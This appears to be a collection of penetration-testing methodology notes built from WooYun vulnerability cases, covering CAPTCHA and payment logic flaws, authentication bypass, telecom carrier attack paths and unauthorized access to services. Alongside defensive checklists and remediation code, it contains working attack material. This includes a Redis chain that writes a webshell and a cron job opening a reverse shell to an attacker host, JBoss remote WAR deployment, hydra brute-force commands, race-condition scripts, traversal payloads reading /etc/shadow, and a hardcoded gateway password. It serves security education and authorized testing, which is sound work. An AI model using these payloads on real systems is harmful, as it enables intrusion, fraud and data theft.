## 4. CAPTCHA/Verification Code Bypass Vulnerabilities [20 Cases]
### 4.1 Verification Code Not Refreshed
**Cases: Municipal housing fund system, IoT platform**
```
Vulnerability Manifestation:
- CAPTCHA does not auto-refresh after login failure
- Same CAPTCHA can be reused
- Only frontend triggers refresh, backend does not force update
```
**Exploitation Method:**
```python
# Fixed CAPTCHA brute force
captcha = "ABCD" # Manually recognize once
for password in wordlist:
resp = login(username, password, captcha)
if "success" in resp:
print(f"Password: {password}")
```
### 4.2 Verification Code Brute Force
**Case: Brand store APP (5-digit numeric verification code)**
```
Parameter Analysis:
- Verification code length: 4-6 digits
- Brute force space: 10,000-1,000,000
- Rate limiting: None
Brute Force Configuration:
- Threads: 30-50
- Dictionary: 00000-99999
- Duration: ~30 seconds to complete
```
### 4.3 Credential Stuffing Attacks
**Cases: Online service provider, smartphone manufacturer**
```
Prerequisites:
1. Login endpoint has no CAPTCHA / CAPTCHA is bypassable
2. No login rate limiting
3. Leaked credential databases exist
Attack Flow:
1. Obtain leaked database (e.g., manufacturer forum 80K weak passwords)
2. Batch test against target website
3. Success rate typically 0.1%-5%
```
### 4.4 Verification Code Security Checklist
- [ ] Is the verification code leaked in the response
- [ ] Is the verification code bound to session/user
- [ ] Does the verification code have a time limit (recommended: 60 seconds)
- [ ] Is a new code forced after verification failure
- [ ] Is there rate limiting (recommended: 5 attempts/minute)
- [ ] Is the code complexity sufficient (recommended: 6+ alphanumeric characters)
---
## 5. Payment Logic Vulnerabilities [9 Cases]
### 5.1 Amount Tampering
**Cases: Talent assessment platform, novelty goods store**
```http
# Original request
POST /pay HTTP/1.1
item=test_service&price=500&count=1
# Tampered request
POST /pay HTTP/1.1
item=test_service&price=0.01&count=1
```
**Detection Points:**
1. Amount parameter during order creation
2. Amount parameter during payment redirect
3. Amount verification during payment callback
### 5.2 Coupon/Discount Abuse
**Case: E-commerce platform discount logic flaw**
```
Vulnerability Flow:
1. Purchase item A (59 CNY), qualifying for "spend 59, add 5.9 to get item B"
2. Place order containing A and B, pay 59+5.9=64.9 CNY
3. Cancel item A, keep only B
4. Effectively purchase item B (original price 21 CNY) for 5.9 CNY
```
**Testing Approach:**
- Partial cancellation after combined ordering
- Return after coupon usage
- Refund after points redemption
### 5.3 Virtual Currency Farming
**Case: Smartphone manufacturer rewards store**
```
Vulnerability: Registration referral earns points
Attack:
1. Discover phone verification code is 4 digits
2. Brute force verification code to complete registration
3. Automated script for mass registration
4. Redeem points for physical goods
```
### 5.4 Order Price Parameter Tampering
**Case: E-commerce platform price logic flaw (wooyun-2015-0108817)**
```
Root Cause: Trusting client-submitted price parameters
Severity: High
Attack Method: Directly modify the price parameter in the order creation API
```
**Vulnerability Analysis:**
Normal order flow should follow:
```
[Select Product] -> [Generate Order] -> [Server Calculates Price] -> [User Pays]
```
Vulnerable flow:
```
[Select Product] -> [Generate Order] -> [Client Submits Price] -> [Server Does Not Verify] -> [Pay Any Price]
```
**Attack Vectors:**
```http
# Normal request
POST /order/create HTTP/1.1
{
"productId": "12345",
"quantity": 1,
"price": 299.00 <- Original price
}
# Malicious request
POST /order/create HTTP/1.1
{
"productId": "12345",
"quantity": 1,
"price": 0.01 <- Tampered to 0.01
}
```
**Root Cause Analysis - Deep Dive:**
1. **Design-Level Flaw**
- Violates the "server-side authority" principle
- Price calculation logic pushed down to the client
- No secondary price verification mechanism implemented
2. **Trust Boundary Error**
```
Security Model: Untrusted zone (client) -> Trust boundary -> Trusted zone (server)
Incorrect Implementation: Directly accepts sensitive data from untrusted zone as fact
Correct Implementation: Untrusted zone only provides product ID; server independently calculates price
```
3. **Business Logic Layering Failure**
```
Presentation Layer: Display product price (tamperable)
Business Layer: Calculate order amount (should be independent)
Data Layer: Store transaction records (should verify)
```
**Systematic Testing Methodology:**
```
Phase 1: Parameter Fingerprinting
+-- Capture order creation API
+-- Identify price-related parameters (price/amount/total/cost)
+-- Determine parameter types (integer/float/string)
Phase 2: Boundary Value Testing
+-- Minimum value test (0, 0.01, -1)
+-- Negative number test (-100, -0.01)
+-- Format test (scientific notation, nested JSON)
+-- Precision test (float overflow, rounding errors)
Phase 3: Logic Bypass Testing
+-- Parameter redundancy: Submit multiple price parameters
+-- Parameter override: Raise price then lower it
+-- Batch orders: Unit price tampering
+-- Coupon stacking: Price + discount double manipulation
Phase 4: Impact Verification
+-- Order generation: Check order amount
+-- Payment gateway: Verify payment amount
+-- Shipping: Test if shipping proceeds normally
+-- Refund flow: Check refund amount
```
**Advanced Exploitation Techniques:**
1. **Price Parameter Tampering + Race Condition**
```python
import threading
def create_order():
# Concurrently create multiple low-price orders
requests.post("/order/create", json={
"price": 0.01,
"productId": "premium_item"
})
threads = [threading.Thread(target=create_order) for _ in range(50)]
for t in threads:
t.start()
```
2. **Parameter Pollution Technique**
```http
# Some frameworks process duplicate parameters
POST /order/create?price=299.00&price=0.01
# Or array parameters
POST /order/create
price[]=299.00&price[]=0.01
```
3. **Type Conversion Bypass**
```json
{
"price": "0.01", // String
"price": 1e-10, // Scientific notation
"price": {"$gt": 0}, // MongoDB injection
"price": null // NULL injection
}
```
**Detection Checklist:**
| Test Item | Expected Behavior | Actual Check |
|-----------|-------------------|-------------|
| Server-side price calculation | Query database by product ID | Order amount = inventory price x quantity |
| Client-side price validation | Ignore submitted price | Used for display reference only |
| Price signature verification | Order parameter signing | Anti-tampering mechanism |
| Payment amount comparison | Callback amount = order amount | Third-party payment verification |
| Abnormal price interception | Reject on price anomaly | Below cost / above list price |
**Remediation Recommendations:**
```python
# Secure implementation example
def create_order(user_id, product_id, quantity):
# 1. Get product price from database (server-side authority)
product = db.query("SELECT price FROM products WHERE id = ?", product_id)
if not product:
raise Exception("Product does not exist")
# 2. Server-side order amount calculation
order_amount = product.price * quantity
# 3. Record original and calculated prices for auditing
order = {
"user_id": user_id,
"product_id": product_id,
"quantity": quantity,
"unit_price": product.price,
"total_amount": order_amount,
"price_source": "server_calculation" # Tag price source
}
# 4. Generate order signature (anti-tampering)
order["signature"] = hmac_sha256(
f"{order_amount}{product_id}{quantity}",
SECRET_KEY
)
return db.insert("orders", order)
# Payment callback verification
def payment_callback(order_id, paid_amount, signature):
order = db.get_order(order_id)
# Strictly verify payment amount matches order amount
if order["total_amount"] != paid_amount:
raise Exception("Payment amount mismatch")
# Verify signature
if not verify_signature(signature, order):
raise Exception("Signature verification failed")
# Update order status
order["status"] = "paid"
order["paid_amount"] = paid_amount
db.update(order)
```
**Defense-in-Depth Strategy:**
```
Layer 1: Input Validation
+-- Allowlist validation: Only accept product ID, do not accept price parameters
+-- Type validation: Amount must be positive, max 2 decimal places
Layer 2: Business Logic
+-- Server-side calculation: All prices recalculated on server
+-- Price traceability: Record price calculation process
+-- Anomaly detection: Manual review when price deviation exceeds threshold
Layer 3: Data Integrity
+-- Order signing: Prevent parameter tampering
+-- Timestamps: Prevent replay attacks
+-- Idempotency: Prevent duplicate submissions
Layer 4: Payment Verification
+-- Callback verification: Verify payment amount matches order amount
+-- State machine: Strictly control order state transitions
+-- Audit logs: Record all price changes
```
### 5.5 Payment Flow Integrity Testing
```mermaid
graph LR
A[Select Product] --> B[Generate Order]
B --> C[Select Payment]
C --> D[Third-Party Payment]
D --> E[Payment Callback]
E --> F[Order Complete]
B -.->|Tamper amount| X1[Vuln Point 1: Price parameter]
C -.->|Tamper amount| X2[Vuln Point 2: Payment parameter]
E -.->|Forge callback| X3[Vuln Point 3: Callback signature]
F -.->|Tamper state| X4[Vuln Point 4: State machine]
```
---
## 6. Authentication Bypass [15 Cases]
### 6.1 Cookie/Session Forgery
**Case: Gaming company platform**
```
Vulnerable Endpoint:
GET /registeruser/CookInsert?userAccount=admin&inner=1
Function: Writes user identity to cookie
Exploitation: Specify any username to obtain that user's session
```
### 6.2 IP Spoofing
**Case: Web hosting control panel**
```http
# Add spoofed headers
X-Forwarded-For: [IP redacted]
X-Real-IP: [IP redacted]
Client-IP: [IP redacted]
Risk: Bypass IP allowlists, forge login logs
```
### 6.3 Response Tampering Bypass
**Cases: Pharmacy APP, P2P finance platform**
```
Normal Flow:
Request verification -> Response {"status":"0","msg":"Verification code error"} -> Stay on verification page
Attack Flow:
Request verification -> Intercept response -> Modify to {"status":"1","msg":"Success"} -> Proceed to next step
```
**Applicable Conditions:**
- Client controls flow based on response status
- Server does not re-verify state in subsequent steps
### 6.4 Authentication Bypass Testing Checklist
| Test Item | Method | Tool |
|-----------|--------|------|
| Cookie forgery | Modify user identifier field | BurpSuite |
| Session fixation | Reuse another user's session | Wireshark |
| Response tampering | Modify return status code | BurpSuite |
| IP spoofing | Add X-Forwarded-For | Curl |
| Frontend bypass | Modify JS logic | Browser DevTools |
---
## 7. Advanced Testing Methodology
### 7.1 Business Flow Reverse Analysis
```
Step 1: Map the complete business flow
Step 2: Identify validation checkpoints at each stage
Step 3: Assess whether validations can be bypassed
Step 4: Design bypass test cases
```
**Example: Password Reset Flow Analysis**
```
[Enter Account] -> [Send Verification Code] -> [Verify Identity] -> [Set New Password]
| | | |
Account enumeration Code leakage Step skipping Parameter tampering
```
### 7.2 Systematic Parameter Tampering Method
| Parameter Type | Tampering Direction | Example |
|---------------|-------------------|---------|
| User ID | Replace with another user | uid=1001 -> uid=1002 |
| Amount | Reduce/zero/negative | price=100 -> price=0.01 |
| Quantity | Increase/negative | count=1 -> count=-1 |
| Status | Flip boolean value | isPaid=false -> isPaid=true |
| Role | Escalate privilege | role=user -> role=admin |
| Time | Extend/rewind | expireTime=... -> expireTime=2099-... |
### 7.3 Race Condition Exploitation
**Scenario: Points Redemption**
```python
import threading
import requests
def redeem():
requests.post("/redeem", data={"points": 1000, "item": "iPhone"})
# Concurrent requests attempting multiple redemptions
threads = [threading.Thread(target=redeem) for _ in range(100)]
for t in threads:
t.start()
```
**Applicable Scenarios:**
- Coupon usage
- Points redemption
- Inventory deduction
- Balance payments
### 7.4 Systematic Testing Framework
```
Phase 1: Intelligence Gathering
+-- Enumerate all functionality points
+-- Map business flow diagrams
+-- Identify sensitive operations
Phase 2: Threat Modeling
+-- Analyze input parameters for each endpoint
+-- Assess parameter controllability
+-- Build attack trees
Phase 3: Vulnerability Verification
+-- Test by priority
+-- Record PoCs
+-- Assess impact scope
Phase 4: Report Output
+-- Vulnerability description
+-- Reproduction steps
+-- Remediation recommendations
+-- Risk rating
```
---
## 8. Defense Recommendations Quick Reference
### 8.1 Password Reset
- Bind verification code to user session
- One-time use + time limit for verification codes
- Reset tokens are single-use
- Server-side state verification throughout the entire flow
### 8.2 Authorization Bypass
- Verify ownership before resource access
- Use UUIDs instead of auto-incrementing IDs
- Log audit trails for sensitive operations
- Implement principle of least privilege
### 8.3 Payment Security
- Amounts calculated server-side
- Order signing to prevent tampering
- Secondary verification on payment callbacks
- Idempotent transaction design
### 8.4 Verification Codes
- 6-character alphanumeric mix
- 60-second expiration
- Lock after 5 failed attempts
- Force refresh after verification failure
---
## 9. Recommended Tools
| Tool | Purpose | Scenario |
|------|---------|----------|
| BurpSuite | Traffic interception and tampering | All scenarios |
| Postman | API testing | Endpoint testing |
| SQLMap | Injection detection | Database |
| Hydra | Brute forcing | Weak credentials |
| OWASP ZAP | Automated scanning | Initial screening |
---
## 10. Reference Case Index
| Vulnerability Type | Representative Case | WooYun ID |
|-------------------|-------------------|-----------|
| Verification code leak in response | Parking platform APP | wooyun-2015-0134914 |
| Password reset step skipping | Outdoor goods store | wooyun-2014-054890 |
| Horizontal Privilege Escalation (IDOR) | Adult products store | wooyun-2015-0119942 |
| Vertical Privilege Escalation | Provincial news platform | wooyun-2015-099378 |
| Amount tampering | Talent assessment platform | wooyun-2012-07745 |
| Price parameter tampering | E-commerce platform | wooyun-2015-0108817 |
| Coupon abuse | E-commerce discount logic | wooyun-2015-0XXXXXX |
| Virtual currency farming | Smartphone manufacturer rewards store | wooyun-2015-0XXXXXX |
| Credential stuffing | Smartphone manufacturer | wooyun-2014-061871 |
| Cookie forgery | Gaming company platform | wooyun-2015-0157092 |
| Response tampering | Pharmacy APP | wooyun-2015-0139590 |
---
*Document version: v1.1*
*Data source: WooYun vulnerability database (88,636 entries)*
*Analysis sample: Design defect/logic error category (8,292 entries)*
*Generated: 2026-01-23*
*Latest update: Added price parameter tampering vulnerability deep analysis (wooyun-2015-0108817)*
File diff suppressed because it is too large Load Diff
@@ -1,156 +0,0 @@
# Telecom Carrier Penetration Testing Methodology
> This case study is anonymized and presented for educational purposes in authorized security testing contexts only.
> Based on analysis of 22,132 real WooYun cases
## 1. Attack Surface Overview
```
Telecom Carrier Attack Surface
│
┌─────────┬─────────┬─────┴─────┬─────────┬─────────┐
| | | | | |
Internet Mobile Value-Added Internal IoT Supply
Portal Apps Services Systems Platform Chain
│ │ │ │ │ │
├─Web ├─App ├─SP/CP ├─OA ├─IoT ├─Outsourced
│ Portal │ │ Platform │ │ Cards │ Vendors
├─Loyalty ├─H5 ├─SMS ├─Email ├─M2M ├─Equipment
│ Points │ │ Gateway │ │ │ Vendors
└─Campaign └─SDK └─Billing └─VPN └─Connected└─Ops
Pages Interface Vehicles Vendors
```
## 2. Common Vulnerability Types
### 1. Weak Credentials (7,513 Cases, 58.2% High Severity)
| Target System | Common Weak Credentials | Shell Access Likelihood |
|--------------|------------------------|----------------------|
| BOSS Admin Panel | admin/admin, employee_id/123456 | Very High |
| Network Management Platform | root/root, vendor defaults | Very High |
| Databases | sa/(empty), root/root | Very High |
| Docker API | No authentication | Very High |
**Detection Method**:
```bash
# Bulk brute force
hydra -L users.txt -P top1000.txt target ssh
hydra -l admin -P passwords.txt target http-post-form
```
### 2. Authorization Bypass (1,705 Cases, 62.3% High Severity)
**Telecom-Specific Authorization Bypass Points**:
| Functionality | Key Parameter | Impact |
|--------------|--------------|--------|
| Bill inquiry | `phone`, `mobile` | View any user's bill |
| Call records | `cust_id`, `user_id` | Obtain any user's call records |
| Plan changes | `order_id` | Modify another user's plan |
| Identity verification info | `id_card` | Leak ID card photos |
**Bypass Techniques**:
```
Parameter pollution: ?uid=1&uid=2 (takes the latter)
Array injection: uid[]=target_id
JSON nesting: {"user":{"id":target_id}}
```
### 3. Unauthorized Access (1,891 Cases, 58.2% High Severity)
**High-Frequency Exposed Paths**:
```
/admin -> Admin panel
/api/swagger -> API documentation
/console -> Console
/manager -> Tomcat manager
/zabbix -> Monitoring system
```
## 3. Uncommon But High-Value Attack Surfaces
### 1. SP/CP Value-Added Service Platforms
- Third-party integrations, often with lower security requirements
- Directly connected to billing systems
- Entry points: SMS/MMS distribution platforms, data top-up interfaces
### 2. IoT Card Management Platforms
- IoT device management admin panel
- Bulk provisioning interfaces
- M2M platform APIs
### 3. Network Management Systems (NMS)
- Vendor-specific management platforms (e.g., U2000/M2000)
- Environmental monitoring systems
- Once breached, can control core network equipment
## 4. Shell Access Achievement Paths
### Path 1: Web RCE
```
Priority order:
1. Struts2 RCE (S2-045/046/048/052)
2. WebLogic deserialization
3. Shiro deserialization (rememberMe)
4. Fastjson RCE
5. File upload bypass
6. SQL injection -> xp_cmdshell/into outfile
```
### Path 2: Boundary Device Breach
```
VPN device vulnerabilities:
├── Pulse Secure CVE-2019-11510
├── Fortinet CVE-2018-13379
├── Citrix CVE-2019-19781
└── Various vendor-specific VPN password reset flaws
Network devices:
├── Vendor default passwords
├── Cisco Smart Install protocol abuse
└── SNMP community string leakage
```
### Path 3: Supply Chain Attack
```
Third-party outsourcing company -> Dev/test environment -> Production environment
Operations staff workstation -> Lateral movement into internal network
```
## 5. Lateral Movement Targets
| Target System | Value | Difficulty |
|--------------|-------|-----------|
| BOSS System | User data, billing control | High |
| AAA Authentication Center | Network-wide user credentials | High |
| SMS Gateway | SMS interception | High |
| Core Network Equipment | Network control plane | Very High |
| DNS Servers | Traffic hijacking | Medium |
## 6. Practical Checklist
### Information Gathering
- [ ] Subdomain enumeration (carrier web properties)
- [ ] Port scanning (non-standard ports)
- [ ] GitHub/code repository leakage search
- [ ] Network space mapping (Shodan/Fofa)
### Vulnerability Discovery
- [ ] Weak credential brute force
- [ ] Authorization bypass testing (phone number/user ID enumeration)
- [ ] Unauthorized access testing
- [ ] Framework vulnerability scanning
### Post-Shell Activities
- [ ] Persistence
- [ ] Internal network information gathering
- [ ] Credential harvesting
- [ ] Proxy tunneling
- [ ] Lateral movement
---
**Reference methodologies**:
- See references/unauthorized-access.md (weak credentials, service exposure) and references/info-disclosure.md (reconnaissance) for related methodology.
@@ -1,980 +0,0 @@
# Unauthorized Access Vulnerability Analysis Methodology
> Distilled from 14,377 cases | Data source: WooYun Vulnerability Database (2010-2016)
---
## 1. Core Statistics
| Metric | Value |
|--------|-------|
| Total vulnerabilities | 88,636 |
| Unauthorized access-related | 14,377 (16.2%) |
| In-depth analysis samples | 100 |
---
## 2. Unauthorized Access Type Classification
### 2.1 Backend Unauthorized Access
**Statistics**: 22 typical cases
**Attack Patterns**:
| Pattern Type | Description | Typical Case |
|-------------|-------------|--------------|
| Hardcoded auth bypass | Fixed key/parameter decryption for direct login | Website builder CMS `lstate=515csmxSi1aTO9ysxvJ1Gpmnj7hHuPxjMdfZdEP49lJZ` |
| Weak/default credentials | admin/admin, weblogic/12345678 | Classifieds platform Tomcat `admin:admin123456` |
| Direct path access | Backend URL without authentication | Hobbyist association site `/users/AssociationManage/` |
| Authentication logic flaws | Client-side validation, CAPTCHA bypass | Classifieds platform CAPTCHA client-side refresh allows brute force |
**Typical Bypass Techniques**:
```
# 1. Parameter encryption bypass
/admin/login.asp?lstate={encrypted_true_value}
# 2. Direct path access
/console/login/LoginForm.jsp (WebLogic)
/manager/html (Tomcat)
/jmx-console/ (JBoss)
# 3. Base64-encoded directory
/ZmptY2NtYW5hZ2Vy/ (base64-decoded reveals admin path)
```
**Key Insights**:
- Many systems use a unified encryption key, allowing all deployed instances to be bypassed with the same method
- Development framework default configurations commonly have weak credentials
- Internal systems often neglect authentication, relying solely on network isolation
---
### 2.2 API Unauthorized Access
**Statistics**: 7 typical cases
**Attack Vectors**:
| Vector | Description | Example |
|--------|-------------|---------|
| No API authentication | API directly returns sensitive data | Public platform `/api/configs` returns AppID and AppSecret |
| Missing permission checks | Only verifies login, not authorization | Social network photo album API `uid=` parameter is enumerable |
| Sensitive info disclosure | Debug endpoints exposed | `/api/v1/admin_is_login` logic exposed |
**API Probe Payload Examples**:
```bash
# Common sensitive API paths
/api/configs
/api/v1/admin_is_login
/api/users
/api/debug
/swagger-ui.html
/api-docs
/actuator/env
/actuator/health
```
---
### 2.3 Database Service Unauthorized Access
**Statistics**: 5 typical cases
**Common Unauthorized Database Services**:
| Service | Default Port | Severity | Exploitation Method |
|---------|-------------|----------|-------------------|
| MongoDB | 27017 | Critical | Connect without authentication, export all data |
| Redis | 6379 | Critical | Write SSH public keys, write webshells, write cron jobs |
| MySQL | 3306 | High | Empty password or weak password connection |
| Memcached | 11211 | Medium | Data leakage, DDoS amplification |
| Elasticsearch | 9200 | High | Read index data, remote code execution |
**Redis Unauthorized Exploitation Chain**:
```bash
# Connect
redis-cli -h target_ip
# View information
info
# Write SSH public key
config set dir /root/.ssh/
config set dbfilename authorized_keys
set x "\n\nssh-rsa AAAA...\n\n"
save
# Write webshell (requires knowing web directory)
config set dir /var/www/html/
config set dbfilename shell.php
set x "<?php system($_GET['c']);?>"
save
# Write cron job
config set dir /var/spool/cron/
config set dbfilename root
set x "\n* * * * * bash -i >& /dev/tcp/attacker_ip/port 0>&1\n"
save
```
**MongoDB Unauthorized Probing**:
```bash
# Connection test
mongo target_ip:27017
# List databases
show dbs
# View collections
use database_name
show collections
# Export data
mongoexport -h target_ip -d db_name -c collection -o output.json
```
---
### 2.4 Caching Service Unauthorized Access
**Statistics**: 10 typical cases
| Service | Port | Verification Command | Impact |
|---------|------|---------------------|--------|
| Redis | 6379 | `redis-cli -h IP info` | Data leakage, RCE |
| Memcached | 11211 | `echo "stats" \| nc IP 11211` | Data leakage, DDoS |
---
### 2.5 Middleware Unauthorized Access
**Statistics**: 19 typical cases
**Middleware Vulnerability Matrix**:
| Middleware | Unauthorized Entry Point | Exploitation Method | Typical Vulnerability |
|-----------|------------------------|--------------------|--------------------|
| WebLogic | `/console/` | Deploy WAR packages | CVE-2017-10271, CVE-2019-2725 |
| JBoss | `/jmx-console/` | Remote deployment | JMXInvokerServlet deserialization |
| Tomcat | `/manager/html` | Deploy WAR packages | Weak credentials + upload |
| Resin | `/resin-admin/` | Remote deployment | Misconfiguration |
| Spring Boot | `/actuator/` | Info disclosure/RCE | Heapdump leak, env leak |
**WebLogic Weak Credential List**:
```
weblogic / weblogic
weblogic / weblogic1
weblogic / weblogic123
weblogic / 12345678
system / password
```
**JBoss JMX-Console Exploitation**:
```
1. Access /jmx-console/
2. Find jboss.deployment
3. Deploy remote WAR: http://attacker/shell.war
```
---
### 2.6 DevOps Tool Unauthorized Access
**Statistics**: 2 typical cases
| Tool | Default Port | Risk |
|------|-------------|------|
| Jenkins | 8080 | Script Console RCE |
| Zabbix | 80 | SQL Injection -> Session hijacking |
| Grafana | 3000 | Unauthorized data source access |
| Kibana | 5601 | Data viewing, RCE |
**Jenkins Script Console**:
```groovy
// Groovy code execution
def cmd = "whoami"
println cmd.execute().text
```
---
### 2.7 IoT Device Unauthorized Access
**Statistics**: 7 typical cases
| Device Type | Default Credentials | Impact |
|------------|-------------------|--------|
| IP cameras | admin/admin, admin/12345 | Video surveillance leakage |
| Routers | admin/admin | Network control |
| Printers | Passwordless telnet | Configuration modification |
| Home gateways | telecomadmin/nE7jA%5m | Network takeover |
**Typical Case - Telecom Home Gateway**:
- Default super admin: `telecomadmin/nE7jA%5m`
- Remote port 80 exposed
- Password hardcoded and cannot be changed
---
## 3. Authorization Bypass Methods
### 3.1 Parameter Manipulation
**Statistics**: 8 typical cases
**Technical Details**:
```
# 1. ID enumeration
/user/info?uid=1
/user/info?uid=2
...
# 2. Role tampering
role=user -> role=admin
# 3. Permission flag tampering
isAdmin=0 -> isAdmin=1
```
---
### 3.2 Path Bypass
**Statistics**: 34 typical cases
**Bypass Techniques**:
```
# 1. Directory traversal
../../../etc/passwd
..\..\..\..\windows\system.ini
# 2. URL encoding bypass
%2e%2e%2f (../)
%252e%252e%252f (double encoding)
# 3. Null byte truncation
../../../etc/passwd%00.jpg
# 4. Case confusion
/ADMIN/
/Admin/
/aDmIn/
```
---
### 3.3 Authentication Bypass
**Statistics**: 19 typical cases
**Technical Classification**:
| Type | Description | Payload Example |
|------|-------------|----------------|
| Universal password | SQL injection login | `' or 1=1--` |
| Cookie forgery | Modify authentication cookie | `admin=true` |
| JWT bypass | None algorithm/weak key | `alg: none` |
| Session hijacking | Predict/steal session | Direct use after session ID leakage |
---
### 3.4 Session Bypass
**Statistics**: 3 typical cases
**Exploitation Scenarios**:
```
# 1. Session ID leakage (log exposure)
/logs/ctp.log -> Contains session IDs
# 2. Session fixation attack
Force user to use attacker-specified session ID
# 3. Session prediction
Weak sessions generated from timestamps/sequential numbers
```
---
### 3.5 Header Bypass
**Statistics**: 13 typical cases
**Common Bypass Headers**:
```
X-Forwarded-For: [IP redacted]
X-Real-IP: [IP redacted]
X-Originating-IP: [IP redacted]
X-Remote-IP: [IP redacted]
X-Remote-Addr: [IP redacted]
X-Client-IP: [IP redacted]
Host: localhost
Referer: https://example.com/[redacted]
```
---
## 4. IDOR Vulnerabilities
### 4.1 Horizontal Privilege Escalation (IDOR)
**Statistics**: 4 typical cases
**Characteristics**: Cross-access of data between users at the same privilege level
**Case Analysis**:
| Case | Vulnerability Point | Impact |
|------|-------------------|--------|
| Insurance platform | `/personal/center/family/{id}/edit` | Hundreds of thousands of insured persons' data leaked |
| Livestreaming platform | Room ID is replaceable | Modify other users' livestream information |
| Dating app | uid parameter is tamperable | Modify any user's profile statement |
**Testing Method**:
```
1. Record ID parameters in normal requests
2. Replace with another user's ID
3. Observe whether the response returns other user's data
4. Automated enumeration (Burp Intruder)
```
---
### 4.2 ID Enumeration
**Statistics**: 27 typical cases
**Enumeration Techniques**:
```python
# Automated ID enumeration script
import requests
for user_id in range(1, 10000):
url = f"http://target/api/user/{user_id}"
resp = requests.get(url)
if resp.status_code == 200:
print(f"Found: {user_id} - {resp.text[:100]}")
```
**Typical Cases**:
| System | Enumeration Point | Data Volume |
|--------|------------------|-------------|
| Express delivery company | Order ID | Large volume of orders since 2010 |
| Car rental service | Invoice ID | 190,000 records |
| State enterprise OA | Employee ID | Large volume of employee information |
---
## 5. Common Unauthorized Services
### 5.1 Service Statistics
| Service | Case Count | Port | Risk Level |
|---------|-----------|------|-----------|
| WebLogic | 10 | 7001 | Critical |
| JBoss | 7 | 8080 | Critical |
| Redis | 5 | 6379 | Critical |
| MySQL | 5 | 3306 | High |
| rsync | 5 | 873 | High |
| MongoDB | 4 | 27017 | Critical |
| Spring Actuator | 2 | 8080 | High |
| Zabbix | 2 | 80 | Medium |
### 5.2 Service Identification Fingerprints
```bash
# Redis
redis-cli -h IP info
# MongoDB
mongo IP:27017 --eval "db.version()"
# Elasticsearch
curl http://IP:9200
# rsync
rsync IP::
# Memcached
echo "stats" | nc IP 11211
# ZooKeeper
echo "stat" | nc IP 2181
# Docker Remote API
curl http://IP:2375/info
```
### 5.3 rsync Unauthorized Exploitation
**Cases**: Social platform, tech media site
```bash
# List modules
rsync target_ip::
# Download files
rsync -avz target_ip::module_name ./local_dir
# Upload files (if write permission exists)
rsync -avz ./local_file target_ip::module_name/
```
**Impact**: Full site source code leakage, configuration file leakage, sensitive information exposure
---
## 6. Directory Traversal Techniques
**Statistics**: 35 typical cases
### 6.1 Basic Payloads
```
# Linux
../../../etc/passwd
../../../etc/shadow
../../../root/.bash_history
../../../proc/self/environ
# Windows
..\..\..\..\windows\system.ini
..\..\..\..\windows\win.ini
..\..\..\..\boot.ini
```
### 6.2 Encoding Bypass
```
# URL encoding
%2e%2e%2f = ../
%2e%2e/ = ../
..%2f = ../
%2e%2e%5c = ..\
# Double encoding
%252e%252e%252f = ../
# UTF-8 encoding
..%c0%af = ../
..%c1%9c = ..\
# Null byte truncation
../../../etc/passwd%00.jpg
```
### 6.3 Typical Cases
| Case | Payload | Result |
|------|---------|--------|
| Cloud data platform | `?urlParam=../../../WEB-INF/web.xml%3f` | Configuration file disclosure |
| Appliance manufacturer | `upload.aspx?id=8&dir=../../../../` | Directory browsing + arbitrary deletion |
| Government website | `down.php?dd=../down.php` | Source code download |
| Social platform | `curl IP:8888/../../../etc/shadow` | System file read |
### 6.4 Automated Testing
```bash
# Using dotdotpwn
dotdotpwn -m http -h target -x 8080 -f /etc/passwd
# Using wfuzz
wfuzz -c -z file,traversal.txt --hc 404 http://target/download.php?file=FUZZ
```
---
## 7. Meta-Analysis Methodology
### 7.1 Unauthorized Access Detection Flow
```
1. Information Gathering
+-- Port scanning (nmap)
+-- Service identification (fingerprinting)
+-- Path enumeration (dirsearch)
2. Service Probing
+-- Database services (6379, 27017, 3306, 9200)
+-- Middleware admin consoles (7001, 8080)
+-- Monitoring services (3000, 5601)
+-- File services (873, 21)
3. Authentication Testing
+-- Default credential attempts
+-- Weak password brute forcing
+-- Authentication bypass testing
4. Authorization Verification
+-- Vertical Privilege Escalation (regular user -> admin)
+-- Horizontal Privilege Escalation (IDOR) (user A -> user B)
+-- API authorization checks
5. Exploitation
+-- Data exfiltration
+-- Privilege escalation
+-- Lateral movement
```
### 7.2 Key Insights
1. **Architecture level**: Internal services exposed to the public internet is the primary cause of unauthorized access
2. **Configuration level**: Default configurations and weak credentials are the most common attack entry points
3. **Development level**: Authorization checks only on the frontend or only verifying login status
4. **Operations level**: Debug interfaces and management consoles left open or without ACLs
### 7.3 Remediation Recommendations
| Level | Measure |
|-------|---------|
| Network | Do not expose internal services to the public internet; use VPN/bastion hosts |
| Authentication | Enforce complex passwords, disable default accounts, enable MFA |
| Authorization | Server-side permission checks, principle of least privilege |
| Monitoring | Anomalous access alerts, log auditing |
| Hardening | Disable unnecessary management interfaces, regular security assessments |
---
## 8. Quick Reference Card
### 8.1 Common Unauthorized Service Detection Commands
```bash
# Batch scan common unauthorized access ports
nmap -sV -p 6379,27017,9200,11211,2181,2379,873,21 target
# Redis
redis-cli -h target info
# MongoDB
mongo target:27017 --eval "db.adminCommand('listDatabases')"
# Elasticsearch
curl -s http://target:9200/_cat/indices
# rsync
rsync --list-only rsync://target/
# Docker
curl http://target:2375/containers/json
```
### 8.2 Web Middleware Default Paths
```
# Tomcat
/manager/html
/manager/status
/host-manager/html
# WebLogic
/console/
/wls-wsat/
# JBoss
/jmx-console/
/web-console/
/invoker/JMXInvokerServlet
# Spring Boot Actuator
/actuator/env
/actuator/health
/actuator/heapdump
/actuator/mappings
```
---
## 9. Case Study Analysis
### 9.1 Case Background
**Vulnerability ID**: wooyun-2015-0108547
**Vulnerability Title**: Monitoring Device Unauthorized Access
**Vulnerability Type**: Unauthorized Access / Authorization Bypass
**Severity**: High
**Details**: Direct access to backend management page without authentication required
**Exploitation**: Access `/admin/index.jsp` to directly enter the admin backend
### 9.2 Root Cause Analysis
#### 9.2.1 Why Does Unauthorized Access Exist? (Root Cause Analysis)
From a **strategic analysis** perspective, root cause analysis should be performed across three levels: system design, implementation, and deployment:
**Layer 1: Design Flaws**
- **Blurred trust boundaries**: Monitoring devices are typically deployed in internal networks; designers incorrectly assume "internal network = security zone"
- **Missing security model**: No complete authentication and authorization system established; relies on network isolation rather than application-layer security
- **Insufficient threat modeling**: Does not consider internal attacks or scenarios where network boundaries are breached
**Layer 2: Implementation Errors**
```
Typical code pattern with missing authentication checks:
# Incorrect: No authentication check
@app.route('/admin/index.jsp')
def admin_panel():
return render_template('admin.html') # Returns admin interface directly
# Correct: Should have authentication decorators
@app.route('/admin/index.jsp')
@login_required
@admin_required
def admin_panel():
